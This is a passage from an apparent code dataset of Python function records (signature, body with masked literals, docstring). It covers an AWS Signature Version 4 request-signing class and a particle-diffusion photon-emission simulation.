(e.g. IAM), use us-east-1.\nservice     -- The name of the service you're connecting to, as per\n               endpoints at:\n               http://docs.aws.amazon.com/general/latest/gr/rande.html\n               e.g. elasticbeanstalk.\ndate        -- Date this instance is valid for. 8-digit date as str of the\n               form YYYYMMDD. Key is only valid for requests with a\n               Date or X-Amz-Date header matching this date. If date is\n               not supplied the current date is used.\nsigning_key -- An AWS4SigningKey instance.\nraise_invalid_date\n            -- Must be supplied as keyword argument. AWS4Auth tries to\n               parse a date from the X-Amz-Date and Date headers of the\n               request, first trying X-Amz-Date, and then Date if\n               X-Amz-Date is not present or is in an unrecognised\n               format. If one or both of the two headers are present\n               yet neither are in a format which AWS4Auth recognises\n               then it will remove both headers and replace with a new\n               X-Amz-Date header using the current date.\n\n               If this behaviour is not wanted, set the\n               raise_invalid_date keyword argument to True, and\n               instead an InvalidDateError will be raised when neither\n               date is recognised. If neither header is present at all\n               then an X-Amz-Date header will still be added containing\n               the current date.\n\n               See the AWS4Auth class docstring for supported date\n               formats.\nsession_token\n            -- Must be supplied as keyword argument. If session_token\n               is set, then it is used for the x-amz-security-token\n               header, for use with STS temporary credentials.", "id": "f15416:c0:m0"}
{"signature": "def regenerate_signing_key(self, secret_key=None, region=None,<EOL>service=None, date=None):", "body": "if secret_key is None and (self.signing_key is None or<EOL>self.signing_key.secret_key is None):<EOL><INDENT>raise NoSecretKeyError<EOL><DEDENT>secret_key = secret_key or self.signing_key.secret_key<EOL>region = region or self.region<EOL>service = service or self.service<EOL>date = date or self.date<EOL>if self.signing_key is None:<EOL><INDENT>store_secret_key = True<EOL><DEDENT>else:<EOL><INDENT>store_secret_key = self.signing_key.store_secret_key<EOL><DEDENT>self.signing_key = AWS4SigningKey(secret_key, region, service, date,<EOL>store_secret_key)<EOL>self.region = region<EOL>self.service = service<EOL>self.date = self.signing_key.date<EOL>", "docstring": "Regenerate the signing key for this instance. Store the new key in\nsigning_key property.\n\nTake scope elements of the new key from the equivalent properties\n(region, service, date) of the current AWS4Auth instance. Scope\nelements can be overridden for the new key by supplying arguments to\nthis function. If overrides are supplied update the current AWS4Auth\ninstance's equivalent properties to match the new values.\n\nIf secret_key is not specified use the value of the secret_key property\nof the current AWS4Auth instance's signing key. If the existing signing\nkey is not storing its secret key (i.e. store_secret_key was set to\nFalse at instantiation) then raise a NoSecretKeyError and do not\nregenerate the key. In order to regenerate a key which is not storing\nits secret key, secret_key must be supplied to this function.\n\nUse the value of the existing key's store_secret_key property when\ngenerating the new key. If there is no existing key, then default\nto setting store_secret_key to True for new key.", "id": "f15416:c0:m1"}
{"signature": "def __call__(self, req):", "body": "<EOL>req_date = self.get_request_date(req)<EOL>if req_date is None:<EOL><INDENT>if '<STR_LIT:date>' in req.headers: del req.headers['<STR_LIT:date>']<EOL>if '<STR_LIT>' in req.headers: del req.headers['<STR_LIT>']<EOL>now = datetime.datetime.utcnow()<EOL>req_date = now.date()<EOL>req.headers['<STR_LIT>'] = now.strftime('<STR_LIT>')<EOL><DEDENT>req_scope_date = req_date.strftime('<STR_LIT>')<EOL>if req_scope_date != self.date:<EOL><INDENT>self.handle_date_mismatch(req)<EOL><DEDENT>if hasattr(req, '<STR_LIT:body>') and req.body is not None:<EOL><INDENT>self.encode_body(req)<EOL>content_hash = hashlib.sha256(req.body)<EOL><DEDENT>else:<EOL><INDENT>content_hash = hashlib.sha256(b'<STR_LIT>')<EOL><DEDENT>req.headers['<STR_LIT>'] = content_hash.hexdigest()<EOL>if self.session_token:<EOL><INDENT>req.headers['<STR_LIT>'] = self.session_token<EOL><DEDENT>result = self.get_canonical_headers(req, self.include_hdrs)<EOL>cano_headers, signed_headers = result<EOL>cano_req = self.get_canonical_request(req, cano_headers,<EOL>signed_headers)<EOL>sig_string = self.get_sig_string(req, cano_req, self.signing_key.scope)<EOL>sig_string = sig_string.encode('<STR_LIT:utf-8>')<EOL>hsh = hmac.new(self.signing_key.key, sig_string, hashlib.sha256)<EOL>sig = hsh.hexdigest()<EOL>auth_str = '<STR_LIT>'<EOL>auth_str += '<STR_LIT>'.format(self.access_id,<EOL>self.signing_key.scope)<EOL>auth_str += '<STR_LIT>'.format(signed_headers)<EOL>auth_str += '<STR_LIT>'.format(sig)<EOL>req.headers['<STR_LIT>'] = auth_str<EOL>return req<EOL>", "docstring": "Interface used by Requests module to apply authentication to HTTP\nrequests.\n\nAdd x-amz-content-sha256 and Authorization headers to the request. Add\nx-amz-date header to request if not already present and req does not\ncontain a Date header.\n\nCheck request date matches date in the current signing key. If not,\nregenerate signing key to match request date.\n\nIf request body is not already encoded to bytes, encode to charset\nspecified in Content-Type header, or UTF-8 if not specified.\n\nreq -- Requests PreparedRequest object", "id": "f15416:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def get_request_date(cls, req):<DEDENT>", "body": "date = None<EOL>for header in ['<STR_LIT>', '<STR_LIT:date>']:<EOL><INDENT>if header not in req.headers:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>date_str = cls.parse_date(req.headers[header])<EOL><DEDENT>except DateFormatError:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>date = datetime.datetime.strptime(date_str, '<STR_LIT>').date()<EOL><DEDENT>except ValueError:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return date<EOL>", "docstring": "Try to pull a date from the request by looking first at the\nx-amz-date header, and if that's not present then the Date header.\n\nReturn a datetime.date object, or None if neither date header\nis found or is in a recognisable format.\n\nreq -- a requests PreparedRequest object", "id": "f15416:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def parse_date(date_str):<DEDENT>", "body": "months = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>formats = {<EOL>r'<STR_LIT>':<EOL>lambda m: '<STR_LIT>'.format(<EOL>m.group(<NUM_LIT:3>),<EOL>months.index(m.group(<NUM_LIT:2>).lower())+<NUM_LIT:1>,<EOL>m.group(<NUM_LIT:1>)),<EOL>r'<STR_LIT>':<EOL>lambda m: '<STR_LIT>'.format(<EOL>str(datetime.date.today().year)[:<NUM_LIT:2>],<EOL>m.group(<NUM_LIT:3>),<EOL>months.index(m.group(<NUM_LIT:2>).lower())+<NUM_LIT:1>,<EOL>m.group(<NUM_LIT:1>)),<EOL>r'<STR_LIT>':<EOL>lambda m: '<STR_LIT>'.format(<EOL>m.group(<NUM_LIT:3>),<EOL>months.index(m.group(<NUM_LIT:1>).lower())+<NUM_LIT:1>,<EOL>int(m.group(<NUM_LIT:2>))),<EOL>r'<STR_LIT>':<EOL>lambda m: '<STR_LIT>'.format(*m.groups()),<EOL>r'<STR_LIT>':<EOL>lambda m: m.group(<NUM_LIT:1>),<EOL>}<EOL>out_date = None<EOL>for regex, xform in formats.items():<EOL><INDENT>m = re.search(regex, date_str)<EOL>if m:<EOL><INDENT>out_date = xform(m)<EOL>break<EOL><DEDENT><DEDENT>if out_date is None:<EOL><INDENT>raise DateFormatError<EOL><DEDENT>else:<EOL><INDENT>return out_date<EOL><DEDENT>", "docstring": "Check if date_str is in a recognised format and return an ISO\nyyyy-mm-dd format version if so. Raise DateFormatError if not.\n\nRecognised formats are:\n* RFC 7231 (e.g. Mon, 09 Sep 2011 23:36:00 GMT)\n* RFC 850 (e.g. Sunday, 06-Nov-94 08:49:37 GMT)\n* C time (e.g. Wed Dec 4 00:00:00 2002)\n* Amz-Date format (e.g. 20090325T010101Z)\n* ISO 8601 / RFC 3339 (e.g. 2009-03-25T10:11:12.13-01:00)\n\ndate_str -- Str containing a date and optional time", "id": "f15416:c0:m4"}
{"signature": "def handle_date_mismatch(self, req):", "body": "req_datetime = self.get_request_date(req)<EOL>new_key_date = req_datetime.strftime('<STR_LIT>')<EOL>self.regenerate_signing_key(date=new_key_date)<EOL>", "docstring": "Handle a request whose date doesn't match the signing key scope date.\n\nThis AWS4Auth class implementation regenerates the signing key. See\nStrictAWS4Auth class if you would prefer an exception to be raised.\n\nreq -- a requests prepared request object", "id": "f15416:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def encode_body(req):<DEDENT>", "body": "if isinstance(req.body, text_type):<EOL><INDENT>split = req.headers.get('<STR_LIT>', '<STR_LIT>').split('<STR_LIT:;>')<EOL>if len(split) == <NUM_LIT:2>:<EOL><INDENT>ct, cs = split<EOL>cs = cs.split('<STR_LIT:=>')[<NUM_LIT:1>]<EOL>req.body = req.body.encode(cs)<EOL><DEDENT>else:<EOL><INDENT>ct = split[<NUM_LIT:0>]<EOL>if (ct == '<STR_LIT>' or<EOL>'<STR_LIT>' in ct):<EOL><INDENT>req.body = req.body.encode()<EOL><DEDENT>else:<EOL><INDENT>req.body = req.body.encode('<STR_LIT:utf-8>')<EOL>req.headers['<STR_LIT>'] = ct + '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Encode body of request to bytes and update content-type if required.\n\nIf the body of req is Unicode then encode to the charset found in\ncontent-type header if present, otherwise UTF-8, or ASCII if\ncontent-type is application/x-www-form-urlencoded. If encoding to UTF-8\nthen add charset to content-type. Modifies req directly, does not\nreturn a modified copy.\n\nreq -- Requests PreparedRequest object", "id": "f15416:c0:m6"}
{"signature": "def get_canonical_request(self, req, cano_headers, signed_headers):", "body": "url = urlparse(req.url)<EOL>path = self.amz_cano_path(url.path)<EOL>split = req.url.split('<STR_LIT:?>', <NUM_LIT:1>)<EOL>qs = split[<NUM_LIT:1>] if len(split) == <NUM_LIT:2> else '<STR_LIT>'<EOL>qs = self.amz_cano_querystring(qs)<EOL>payload_hash = req.headers['<STR_LIT>']<EOL>req_parts = [req.method.upper(), path, qs, cano_headers,<EOL>signed_headers, payload_hash]<EOL>cano_req = '<STR_LIT:\\n>'.join(req_parts)<EOL>return cano_req<EOL>", "docstring": "Create the AWS authentication Canonical Request string.\n\nreq            -- Requests PreparedRequest object. Should already\n                  include an x-amz-content-sha256 header\ncano_headers   -- Canonical Headers section of Canonical Request, as\n                  returned by get_canonical_headers()\nsigned_headers -- Signed Headers, as returned by\n                  get_canonical_headers()", "id": "f15416:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def get_canonical_headers(cls, req, include=None):<DEDENT>", "body": "if include is None:<EOL><INDENT>include = cls.default_include_headers<EOL><DEDENT>include = [x.lower() for x in include]<EOL>headers = req.headers.copy()<EOL>if '<STR_LIT:host>' not in headers:<EOL><INDENT>headers['<STR_LIT:host>'] = urlparse(req.url).netloc.split('<STR_LIT::>')[<NUM_LIT:0>]<EOL><DEDENT>cano_headers_dict = {}<EOL>for hdr, val in headers.items():<EOL><INDENT>hdr = hdr.strip().lower()<EOL>val = cls.amz_norm_whitespace(val).strip()<EOL>if (hdr in include or '<STR_LIT:*>' in include or<EOL>('<STR_LIT>' in include and hdr.startswith('<STR_LIT>') and not<EOL>hdr == '<STR_LIT>')):<EOL><INDENT>vals = cano_headers_dict.setdefault(hdr, [])<EOL>vals.append(val)<EOL><DEDENT><DEDENT>cano_headers = '<STR_LIT>'<EOL>signed_headers_list = []<EOL>for hdr in sorted(cano_headers_dict):<EOL><INDENT>vals = cano_headers_dict[hdr]<EOL>val = '<STR_LIT:U+002C>'.join(sorted(vals))<EOL>cano_headers += '<STR_LIT>'.format(hdr, val)<EOL>signed_headers_list.append(hdr)<EOL><DEDENT>signed_headers = '<STR_LIT:;>'.join(signed_headers_list)<EOL>return (cano_headers, signed_headers)<EOL>", "docstring": "Generate the Canonical Headers section of the Canonical Request.\n\nReturn the Canonical Headers and the Signed Headers strs as a tuple\n(canonical_headers, signed_headers).\n\nreq     -- Requests PreparedRequest object\ninclude -- List of headers to include in the canonical and signed\n           headers. It's primarily included to allow testing against\n           specific examples from Amazon. If omitted or None it\n           includes host, content-type and any header starting 'x-amz-'\n           except for x-amz-client context, which appears to break\n           mobile analytics auth if included. Except for the\n           x-amz-client-context exclusion these defaults are per the\n           AWS documentation.", "id": "f15416:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def get_sig_string(req, cano_req, scope):<DEDENT>", "body": "amz_date = req.headers['<STR_LIT>']<EOL>hsh = hashlib.sha256(cano_req.encode())<EOL>sig_items = ['<STR_LIT>', amz_date, scope, hsh.hexdigest()]<EOL>sig_string = '<STR_LIT:\\n>'.join(sig_items)<EOL>return sig_string<EOL>", "docstring": "Generate the AWS4 auth string to sign for the request.\n\nreq      -- Requests PreparedRequest object. This should already\n            include an x-amz-date header.\ncano_req -- The Canonical Request, as returned by\n            get_canonical_request()", "id": "f15416:c0:m9"}
{"signature": "def amz_cano_path(self, path):", "body": "safe_chars = '<STR_LIT>'<EOL>qs = '<STR_LIT>'<EOL>fixed_path = path<EOL>if '<STR_LIT:?>' in fixed_path:<EOL><INDENT>fixed_path, qs = fixed_path.split('<STR_LIT:?>', <NUM_LIT:1>)<EOL><DEDENT>fixed_path = posixpath.normpath(fixed_path)<EOL>fixed_path = re.sub('<STR_LIT>', '<STR_LIT:/>', fixed_path)<EOL>if path.endswith('<STR_LIT:/>') and not fixed_path.endswith('<STR_LIT:/>'):<EOL><INDENT>fixed_path += '<STR_LIT:/>'<EOL><DEDENT>full_path = fixed_path<EOL>if PY2:<EOL><INDENT>full_path = full_path.encode('<STR_LIT:utf-8>')<EOL>safe_chars = safe_chars.encode('<STR_LIT:utf-8>')<EOL>qs = qs.encode('<STR_LIT:utf-8>')<EOL><DEDENT>if self.service in ['<STR_LIT>', '<STR_LIT:host>']:<EOL><INDENT>full_path = unquote(full_path)<EOL><DEDENT>full_path = quote(full_path, safe=safe_chars)<EOL>if qs:<EOL><INDENT>qm = b'<STR_LIT:?>' if PY2 else '<STR_LIT:?>'<EOL>full_path = qm.join((full_path, qs))<EOL><DEDENT>if PY2:<EOL><INDENT>full_path = unicode(full_path)<EOL><DEDENT>return full_path<EOL>", "docstring": "Generate the canonical path as per AWS4 auth requirements.\n\nNot documented anywhere, determined from aws4_testsuite examples,\nproblem reports and testing against the live services.\n\npath -- request path", "id": "f15416:c0:m10"}
{"signature": "@staticmethod<EOL><INDENT>def amz_cano_querystring(qs):<DEDENT>", "body": "safe_qs_amz_chars = '<STR_LIT>'<EOL>safe_qs_unresvd = '<STR_LIT>'<EOL>if PY2:<EOL><INDENT>qs = qs.encode('<STR_LIT:utf-8>')<EOL>safe_qs_amz_chars = safe_qs_amz_chars.encode()<EOL>safe_qs_unresvd = safe_qs_unresvd.encode()<EOL><DEDENT>qs = unquote(qs)<EOL>space = b'<STR_LIT:U+0020>' if PY2 else '<STR_LIT:U+0020>'<EOL>qs = qs.split(space)[<NUM_LIT:0>]<EOL>qs = quote(qs, safe=safe_qs_amz_chars)<EOL>qs_items = {}<EOL>for name, vals in parse_qs(qs, keep_blank_values=True).items():<EOL><INDENT>name = quote(name, safe=safe_qs_unresvd)<EOL>vals = [quote(val, safe=safe_qs_unresvd) for val in vals]<EOL>qs_items[name] = vals<EOL><DEDENT>qs_strings = []<EOL>for name, vals in qs_items.items():<EOL><INDENT>for val in vals:<EOL><INDENT>qs_strings.append('<STR_LIT:=>'.join([name, val]))<EOL><DEDENT><DEDENT>qs = '<STR_LIT:&>'.join(sorted(qs_strings))<EOL>if PY2:<EOL><INDENT>qs = unicode(qs)<EOL><DEDENT>return qs<EOL>", "docstring": "Parse and format querystring as per AWS4 auth requirements.\n\nPerform percent quoting as needed.\n\nqs -- querystring", "id": "f15416:c0:m11"}
{"signature": "@staticmethod<EOL><INDENT>def amz_norm_whitespace(text):<DEDENT>", "body": "return '<STR_LIT:U+0020>'.join(shlex.split(text, posix=False))<EOL>", "docstring": "Replace runs of whitespace with a single space.\n\nIgnore text enclosed in quotes.", "id": "f15416:c0:m12"}
{"signature": "def handle_date_mismatch(self, req):", "body": "raise DateMismatchError<EOL>", "docstring": "Handle a request whose date doesn't match the signing key process, by\nraising a DateMismatchError.\n\nOverrides the default behaviour of AWS4Auth where the signing key\nis automatically regenerated to match the request date\n\nTo update the signing key if this is hit, call\nStrictAWS4Auth.regenerate_signing_key().", "id": "f15416:c1:m0"}
{"signature": "def get_seed(seed, ID=<NUM_LIT:0>, EID=<NUM_LIT:0>):", "body": "return seed + EID + <NUM_LIT:100> * ID<EOL>", "docstring": "Get a random seed that is a combination of `seed`, `ID` and `EID`.\n    Provides different, but deterministic, seeds in parallel computations", "id": "f15419:m0"}
{"signature": "def wrap_periodic(a, a1, a2):", "body": "a -= a1<EOL>wrapped = np.mod(a, a2 - a1) + a1<EOL>return wrapped<EOL>", "docstring": "Folds all the values of `a` outside [a1..a2] inside that interval.\n    This function is used to apply periodic boundary conditions.", "id": "f15419:m2"}
{"signature": "def wrap_mirror(a, a1, a2):", "body": "a[a > a2] = a2 - (a[a > a2] - a2)<EOL>a[a < a1] = a1 + (a1 - a[a < a1])<EOL>return a<EOL>", "docstring": "Folds all the values of `a` outside [a1..a2] inside that interval.\n    This function is used to apply mirror-like boundary conditions.", "id": "f15419:m3"}
{"signature": "def sim_timetrace(emission, max_rate, t_step):", "body": "emission_rates = emission * max_rate * t_step<EOL>return np.random.poisson(lam=emission_rates).astype(np.uint8)<EOL>", "docstring": "Draw random emitted photons from Poisson(emission_rates).", "id": "f15419:m4"}
{"signature": "def sim_timetrace_bg(emission, max_rate, bg_rate, t_step, rs=None):", "body": "if rs is None:<EOL><INDENT>rs = np.random.RandomState()<EOL><DEDENT>em = np.atleast_2d(emission).astype('<STR_LIT>', copy=False)<EOL>counts_nrows = em.shape[<NUM_LIT:0>]<EOL>if bg_rate is not None:<EOL><INDENT>counts_nrows += <NUM_LIT:1>   <EOL><DEDENT>counts = np.zeros((counts_nrows, em.shape[<NUM_LIT:1>]), dtype='<STR_LIT>')<EOL>em *= (max_rate * t_step)<EOL>counts_par = rs.poisson(lam=em)<EOL>if bg_rate is None:<EOL><INDENT>counts[:] = counts_par<EOL><DEDENT>else:<EOL><INDENT>counts[:-<NUM_LIT:1>] = counts_par<EOL>counts[-<NUM_LIT:1>] = rs.poisson(lam=bg_rate * t_step, size=em.shape[<NUM_LIT:1>])<EOL><DEDENT>return counts<EOL>", "docstring": "Draw random emitted photons from r.v. ~ Poisson(emission_rates).\n\n    Arguments:\n        emission (2D array): array of normalized emission rates. One row per\n            particle (axis = 0). Columns are the different time steps.\n        max_rate (float): the peak emission rate in Hz.\n        bg_rate (float or None): rate of a constant Poisson background (Hz).\n            Background is added as an additional row in the returned array\n            of counts. If None, no background simulated.\n        t_step (float): duration of a time step in seconds.\n        rs (RandomState or None): object used to draw the random numbers.\n            If None, a new RandomState is created using a random seed.\n\n    Returns:\n        `counts` an 2D uint8 array of counts in each time bin, for each\n        particle. If `bg_rate` is None counts.shape == emission.shape.\n        Otherwise, `counts` has one row more than `emission` for storing\n        the constant Poisson background.", "id": "f15419:m5"}
{"signature": "def sim_timetrace_bg2(emission, max_rate, bg_rate, t_step, rs=None):", "body": "if rs is None:<EOL><INDENT>rs = np.random.RandomState()<EOL><DEDENT>emiss_bin_rate = np.zeros((emission.shape[<NUM_LIT:0>] + <NUM_LIT:1>, emission.shape[<NUM_LIT:1>]),<EOL>dtype='<STR_LIT>')<EOL>emiss_bin_rate[:-<NUM_LIT:1>] = emission * max_rate * t_step<EOL>if bg_rate is not None:<EOL><INDENT>emiss_bin_rate[-<NUM_LIT:1>] = bg_rate * t_step<EOL>counts = rs.poisson(lam=emiss_bin_rate).astype('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>counts = rs.poisson(lam=emiss_bin_rate[:-<NUM_LIT:1>]).astype('<STR_LIT>')<EOL><DEDENT>return counts<EOL>", "docstring": "Draw random emitted photons from r.v. ~ Poisson(emission_rates).\n\n    This is an alternative implementation of :func:`sim_timetrace_bg`.", "id": "f15419:m6"}
{"signature": "@property<EOL><INDENT>def volume(self):<DEDENT>", "body": "return (self.x2 - self.x1) * (self.y2 - self.y1) * (self.z2 - self.z1)<EOL>", "docstring": "Box volume in m^3.", "id": "f15419:c0:m3"}
{"signature": "@property<EOL><INDENT>def volume_L(self):<DEDENT>", "body": "return self.volume * <NUM_LIT><EOL>", "docstring": "Box volume in liters.", "id": "f15419:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def _generate(num_particles, D, box, rs):<DEDENT>", "body": "X0 = rs.rand(num_particles) * (box.x2 - box.x1) + box.x1<EOL>Y0 = rs.rand(num_particles) * (box.y2 - box.y1) + box.y1<EOL>Z0 = rs.rand(num_particles) * (box.z2 - box.z1) + box.z1<EOL>return [Particle(D=D, x0=x0, y0=y0, z0=z0)<EOL>for x0, y0, z0 in zip(X0, Y0, Z0)]<EOL>", "docstring": "Generate a list of `Particle` objects.", "id": "f15419:c2:m0"}
{"signature": "def __init__(self, num_particles, D, box, rs=None, seed=<NUM_LIT:1>, particles=None):", "body": "if rs is None:<EOL><INDENT>rs = np.random.RandomState(seed=seed)<EOL><DEDENT>self.rs = rs<EOL>self.init_random_state = rs.get_state()<EOL>self.box = box<EOL>if particles is None:<EOL><INDENT>self._plist = self._generate(num_particles, D, box, rs)<EOL><DEDENT>else:<EOL><INDENT>self._plist = list(particles)<EOL><DEDENT>self.rs_hash = hash_(self.init_random_state)[:<NUM_LIT:3>]<EOL>", "docstring": "A set of `N` Particle() objects with random position in `box`.\n\n        Arguments:\n            num_particles (int): number of particles to be generated\n            D (float): diffusion coefficient in S.I. units (m^2/s)\n            box (Box object): the simulation box\n            rs (RandomState object): random state object used as random number\n                generator. If None, use a random state initialized from seed.\n            seed (uint): when `rs` is None, `seed` is used to initialize the\n                random state. `seed` is ignored when `rs` is not None.\n            particles (list or None): when not None, initialize the object from\n                this list that must containing only `Particle` objects.", "id": "f15419:c2:m1"}
{"signature": "def add(self, num_particles, D):", "body": "self._plist += self._generate(num_particles, D, box=self.box,<EOL>rs=self.rs)<EOL>", "docstring": "Add particles with diffusion coefficient `D` at random positions.", "id": "f15419:c2:m2"}
{"signature": "@property<EOL><INDENT>def positions(self):<DEDENT>", "body": "return np.vstack([p.r0 for p in self]).reshape(len(self), <NUM_LIT:3>, <NUM_LIT:1>)<EOL>", "docstring": "Initial position for each particle. Shape (N, 3, 1).", "id": "f15419:c2:m10"}
{"signature": "@property<EOL><INDENT>def diffusion_coeff_counts(self):<DEDENT>", "body": "return [(key, len(list(group)))<EOL>for key, group in itertools.groupby(self.diffusion_coeff)]<EOL>", "docstring": "List of tuples of (diffusion coefficient, counts) pairs.\n\n        The order of the diffusion coefficients is as in self.diffusion_coeff.", "id": "f15419:c2:m12"}
{"signature": "@staticmethod<EOL><INDENT>def datafile_from_hash(hash_, prefix, path):<DEDENT>", "body": "pattern = '<STR_LIT>' % (prefix, hash_)<EOL>datafiles = list(path.glob(pattern))<EOL>if len(datafiles) == <NUM_LIT:0>:<EOL><INDENT>raise NoMatchError('<STR_LIT>' % pattern)<EOL><DEDENT>if len(datafiles) > <NUM_LIT:1>:<EOL><INDENT>raise MultipleMatchesError('<STR_LIT>' % pattern)<EOL><DEDENT>return datafiles[<NUM_LIT:0>]<EOL>", "docstring": "Return pathlib.Path for a data-file with given hash and prefix.", "id": "f15419:c5:m0"}
{"signature": "@staticmethod<EOL><INDENT>def from_datafile(hash_, path='<STR_LIT>', ignore_timestamps=False, mode='<STR_LIT:r>'):<DEDENT>", "body": "path = Path(path)<EOL>assert path.exists()<EOL>file_traj = ParticlesSimulation.datafile_from_hash(<EOL>hash_, prefix=ParticlesSimulation._PREFIX_TRAJ, path=path)<EOL>store = TrajectoryStore(file_traj, mode='<STR_LIT:r>')<EOL>psf_pytables = store.h5file.get_node('<STR_LIT>')<EOL>psf = NumericPSF(psf_pytables=psf_pytables)<EOL>box = store.h5file.get_node_attr('<STR_LIT>', '<STR_LIT>')<EOL>P = store.h5file.get_node_attr('<STR_LIT>', '<STR_LIT>')<EOL>names = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>kwargs = {name: store.numeric_params[name] for name in names}<EOL>S = ParticlesSimulation(particles=Particles.from_json(P), box=box,<EOL>psf=psf, **kwargs)<EOL>S.store = store<EOL>S.psf_pytables = psf_pytables<EOL>S.traj_group = S.store.h5file.root.trajectories<EOL>S.emission = S.traj_group.emission<EOL>S.emission_tot = S.traj_group.emission_tot<EOL>if '<STR_LIT>' in S.traj_group:<EOL><INDENT>S.position = S.traj_group.position<EOL><DEDENT>elif '<STR_LIT>' in S.traj_group:<EOL><INDENT>S.position = S.traj_group.position_rz<EOL><DEDENT>S.chunksize = S.store.h5file.get_node('<STR_LIT>', '<STR_LIT>')<EOL>if not ignore_timestamps:<EOL><INDENT>try:<EOL><INDENT>file_ts = ParticlesSimulation.datafile_from_hash(<EOL>hash_, prefix=ParticlesSimulation._PREFIX_TS, path=path)<EOL><DEDENT>except NoMatchError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>S.ts_store = TimestampStore(file_ts, mode=mode)<EOL>S.ts_group = S.ts_store.h5file.root.timestamps<EOL>print('<STR_LIT>')<EOL><DEDENT><DEDENT>return S<EOL>", "docstring": "Load simulation from disk trajectories and (when present) timestamps.", "id": "f15419:c5:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _get_group_randomstate(rs, seed, group):<DEDENT>", "body": "if rs is None:<EOL><INDENT>rs = np.random.RandomState(seed=seed)<EOL>if '<STR_LIT>' in group._v_attrs:<EOL><INDENT>rs.set_state(group._v_attrs['<STR_LIT>'])<EOL>print(\"<STR_LIT>\" %<EOL>group._v_name)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % seed)<EOL><DEDENT><DEDENT>return rs<EOL>", "docstring": "Return a RandomState, equal to the input unless rs is None.\n\n        When rs is None, try to get the random state from the\n        'last_random_state' attribute in `group`. When not available,\n        use `seed` to generate a random state. When seed is None the returned\n        random state will have a random seed.", "id": "f15419:c5:m2"}
{"signature": "def __init__(self, t_step, t_max, particles, box, psf, EID=<NUM_LIT:0>, ID=<NUM_LIT:0>):", "body": "self.particles = particles<EOL>self.box = box<EOL>self.psf = psf<EOL>self.t_step = t_step<EOL>self.t_max = t_max<EOL>self.ID = ID<EOL>self.EID = EID<EOL>self.n_samples = int(t_max / t_step)<EOL>", "docstring": "Initialize the simulation parameters.\n\n        Arguments:\n            D (float): diffusion coefficient (m/s^2)\n            t_step (float): simulation time step (seconds)\n            t_max (float): simulation time duration (seconds)\n            particles (Particles object): initial particle position\n            box (Box object): the simulation boundaries\n            psf (GaussianPSF or NumericPSF object): the PSF used in simulation\n            EID (int): index for the engine on which the simulation is ran.\n                Used to distinguish simulations when using parallel computing.\n            ID (int): an index for the simulation. Can be used to distinguish\n                simulations that are run multiple times.\n\n        Note that EID and ID are shown in the string representation and are\n        used to save unique file names.", "id": "f15419:c5:m3"}
{"signature": "def hash(self):", "body": "hash_numeric = '<STR_LIT>' %(self.t_step, self.t_max, self.num_particles, self.concentration())<EOL>hash_list = [hash_numeric, self.particles.short_repr(), repr(self.box),<EOL>self.psf.hash()]<EOL>return hashlib.md5(repr(hash_list).encode()).hexdigest()<EOL>", "docstring": "Return an hash for the simulation parameters (excluding ID and EID)\n        This can be used to generate unique file names for simulations\n        that have the same parameters and just different ID or EID.", "id": "f15419:c5:m8"}
{"signature": "def compact_name_core(self, hashsize=<NUM_LIT:6>, t_max=False):", "body": "Moles = self.concentration()<EOL>name = \"<STR_LIT>\" % (<EOL>self.particles.short_repr(), Moles * <NUM_LIT>, self.t_step * <NUM_LIT>)<EOL>if hashsize > <NUM_LIT:0>:<EOL><INDENT>name = self.hash()[:hashsize] + '<STR_LIT:_>' + name<EOL><DEDENT>if t_max:<EOL><INDENT>name += \"<STR_LIT>\" % self.t_max<EOL><DEDENT>return name<EOL>", "docstring": "Compact representation of simulation params (no ID, EID and t_max)", "id": "f15419:c5:m9"}
{"signature": "def compact_name(self, hashsize=<NUM_LIT:6>):", "body": "<EOL>s = self.compact_name_core(hashsize, t_max=True)<EOL>s += \"<STR_LIT>\" % (self.ID, self.EID)<EOL>return s<EOL>", "docstring": "Compact representation of all simulation parameters", "id": "f15419:c5:m10"}
{"signature": "@property<EOL><INDENT>def numeric_params(self):<DEDENT>", "body": "nparams = dict(<EOL>D = (self.diffusion_coeff.mean(), '<STR_LIT>'),<EOL>np = (self.num_particles, '<STR_LIT>'),<EOL>t_step = (self.t_step, '<STR_LIT>'),<EOL>t_max = (self.t_max, '<STR_LIT>'),<EOL>ID = (self.ID, '<STR_LIT>'),<EOL>EID = (self.EID, '<STR_LIT>'),<EOL>pico_mol = (self.concentration() * <NUM_LIT>,<EOL>'<STR_LIT>'))<EOL>return nparams<EOL>", "docstring": "A dict containing all the simulation numeric-parameters.\n\n        The values are 2-element tuples: first element is the value and\n        second element is a string describing the parameter (metadata).", "id": "f15419:c5:m11"}
{"signature": "def print_sizes(self):", "body": "float_size = <NUM_LIT:4><EOL>MB = <NUM_LIT> * <NUM_LIT><EOL>size_ = self.n_samples * float_size<EOL>em_size = size_ * self.num_particles / MB<EOL>pos_size = <NUM_LIT:3> * size_ * self.num_particles / MB<EOL>print(\"<STR_LIT>\", self.num_particles)<EOL>print(\"<STR_LIT>\", self.n_samples)<EOL>print(\"<STR_LIT>\" % (size_ / MB))<EOL>print(\"<STR_LIT>\" % em_size)<EOL>print(\"<STR_LIT>\" % pos_size)<EOL>", "docstring": "Print on-disk array sizes required for current set of parameters.", "id": "f15419:c5:m12"}
